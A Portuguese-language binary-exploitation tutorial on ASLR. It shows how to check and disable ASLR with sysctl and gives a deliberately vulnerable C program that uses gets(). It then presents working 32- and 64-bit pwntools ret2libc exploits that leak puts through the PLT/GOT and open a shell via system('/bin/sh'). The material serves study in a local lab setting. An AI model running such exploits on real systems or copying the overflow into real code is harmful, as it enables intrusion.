# ASLR

## O que é ASLR (Address Space Layout Randomization)

O `ASLR` é uma proteção que aleatoriza os endereços de um binário, similar ao `PIE`, mas com a diferença de que os endereços aleatorizados pelo `ASLR` são de partes do sistema e bibliotecas utilizadas por processos. Dessa forma é comum pensar no `ASLR` como um `PIE` da `libc`, e isso de certa forma ajuda a entender o `ASLR`, mas na verdade há uma diferença crucial entre o `PIE` e `ASLR`. Essa diferença consiste em o `PIE` ser uma proteção de binários, ou seja, você pode compilar um programa com ou sem ele, já o `ASLR` é uma proteção de kernel, então não depende de como o programa foi compilado, e sim se a arquitetura que está rodando ele tem o `ASLR` ativado.

Existem 3 estados possíveis para o `ASLR` em uma máquina:

* **0**: Desabilitado.
* **1**: Randomização conservadora (*conservative randomization*).
* **2**: Randomização completa (*full randomization*).

E a forma de ver qual é o estado na sua máquina é por meio do comando `sysctl -a --pattern 'randomize'`, e para alterar `sudo sysctl -w kernel.randomize_va_space=estado`.

## Demonstrando o ASLR

```bash
➜ checksec Vuln-64
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

➜ sysctl -a --pattern 'randomize'
kernel.randomize_va_space = 2

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffc02ff9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x000075f32dc00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x000075f32de30000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007fffde3cf000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007e3ddba00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007e3ddbe03000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffd98996000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ce1d0c00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ce1d0fb2000)
```

Note que o binário `Vuln-64` não contém o `PIE`, mas mesmo assim o endereço das `libc` está modificando toda vez que o comando `ldd` é executado, por conta do estado do `ASLR` estar em **2**.

```bash
➜ sudo sysctl -w kernel.randomize_va_space=0   
kernel.randomize_va_space = 0

➜ ldd Vuln-64                                  
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
```

Repare que com o `ASLR` desativado, os endereços da `libc` não mudam mais.

{% hint style="info" %}
É importante notar que se o binário for `32-bit` e a máquina for `64-bit`, o `ASLR` aparentemente não é aplicado.
{% endhint %}

## Exploit

A forma para conseguir explorar o `ASLR` é similiar a do `PIE`, nós precisamos vazar algum endereço na `libc` e depois só precisamos subtrair o *offset*. Infelizmente, diferente do `PIE`, é muito difícil vazar algum endereço da `libc` por *format string bug* pois quando as funções terminam sua execução a pilha continua lá, ela só começa a ser sobrescrita, então a chance de um endereço "lixo" vazar é muito alta.

A melhor maneira de conseguir vazar algum endereço da `libc` é usando as labels `.plt` e `.got`. Resumidamente, toda vez que você chama uma função que não está no binário, você está chamando algum ponto na `.plt`, lá é verificado se o endereço está na `.got`, e se não estiver é feito alguns processos para identificar o endereço dessa função e no final esse endereço é salvo na `.got`. Dessa forma, nós podemos fazer uma função de impressão (usaremos a `puts` por ser mais simples) para imprimir seu próprio endereço.

### Código fonte

{% code title="VulnCode.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>

void vuln(void){
    char buffer[20];
    puts("Você consegue retornar para a system?");
    gets(buffer);
}

int main(void){
    vuln();
}

/*
//Tirar o comentário caso queira compilar para 64bit.
void utilidade(){
    __asm__(
        "pop %rdi\n"
        "ret\n");
}*/
```

{% endcode %}

### Exploit 32-bits

Como podemos ver nosso executável faz o uso da função `puts`, logo ela está na `.plt`, e também podemos ver que é posssível fazer um *buffer overflow*. Então nosso objetivo é alterar o endereço de retorno da `vuln`, de forma que ela retorne para o endereço da `puts` na `.plt`, passando como parâmetro o endereço dela mesmo na `.got`. É importante observar que precisamos que o programa continue rodando após isso, então precisamos colocar o endereço de retorno.

Como estamos compilando o programa sem o `PIE`, o *exploit* se torna bem fácil de se realizar com a utilização do **ROP**. Após vazarmos o endereço da `puts`, nós devemos subtrair seu *offset* e pronto conseguimos o endereço da `libc`, e com isso podemos realizar outro *buffer overflow* (lembre de fazer a função `puts` retornar para a `main` ou `vuln`) só que dessa vez nós fazemos o endereço de retorno ser a `system` e passamos como parâmetro `/bin/sh`.

E o exploit fica dessa forma:

{% code title="Solve32.py" overflow="wrap" lineNumbers="true" %}

```py
from pwn import *

elf = context.binary = ELF("./Vuln-32")
libc = elf.libc
p = process()

payload = flat(
    "A" * 32,
    elf.plt["puts"],
    elf.symbols["main"],
    elf.got["puts"],
)

#gdb.attach(p)
#input("PAUSE")

p.recvline()
p.sendline(payload)

leak = p.recvline()
leak = leak[:4].strip().ljust(4, b"\x00")
leak = u32(leak)

libc.address = leak - libc.sym["puts"]

print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))
print("System: " + hex(libc.sym["system"]))

payload = flat(
    "B" * 32,
    libc.sym["system"],
    0x0,
    next(libc.search(b"/bin/sh"))
)

p.recvline()
p.sendline(payload)

p.interactive()
```

{% endcode %}

A função `u32` é utilizada para considerar o número como *little-endian*, e a função `flat` concatena tudo dentro dela ajustando automaticamente para 32 ou 64 bits.

### Exploit 64-bits

O exploit em `64-bits` funciona da mesma forma que em `32-bits`, a diferença é que em `64-bits` o uso de *gadgets* se torna necessário. No nosso caso nós precisamos de algum *gadget* que tenha um `pop rdi` (não precisa ser `pop` necessariamente, só precisamos de alguma coisa que nos permita colocar os parâmetros no registrador `rdi`), e como nosso código fonte contém a função `utilidade`, isso facilita nossa vida, pois ela força o código conter esse *gadget*.

Então tudo o que nós precisamos fazer é refazer o exploit acima, trocando o *padding* e colocando os *gadgets*. É importante ressaltar que como vamos retornar para a `system` também precisamos de um *gadget* de retorno para não ocorrer problemas de *stack alignment*.

E o exploit fica dessa forma:

{% code title="Solve64.py" overflow="wrap" lineNumbers="true" %}

```py
from pwn import *

elf = context.binary = ELF("./Vuln-64")
libc = elf.libc
p = process()

pop_rdi_ret = 0x401175
ret = 0x401016

payload = flat(
    "A" * 40,
    pop_rdi_ret,
    elf.got["puts"],
    elf.plt["puts"],
    elf.symbols["main"]
)

p.recvline()
p.sendline(payload)

leak = p.recvline()
leak = leak[:8].strip().ljust(8, b'\x00')
leak = u64(leak)

libc.address = leak - libc.sym["puts"]

print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))

payload = flat(
    "A" * 40,
    pop_rdi_ret,
    next(libc.search(b"/bin/sh")),
    ret,
    libc.sym["system"]
)

p.sendline(payload)

p.interactive()
```

{% endcode %}

## Referências

[Ir0nstone](https://ir0nstone.gitbook.io/notes/types/stack/aslr)

[Mente Binária](https://www.youtube.com/watch?v=KywsSwYDfgM)

[theurbanpenguin](https://www.youtube.com/watch?v=2F8pdMmeuew)

[Udacity](https://www.youtube.com/watch?v=IX2Qf8K2n9E)
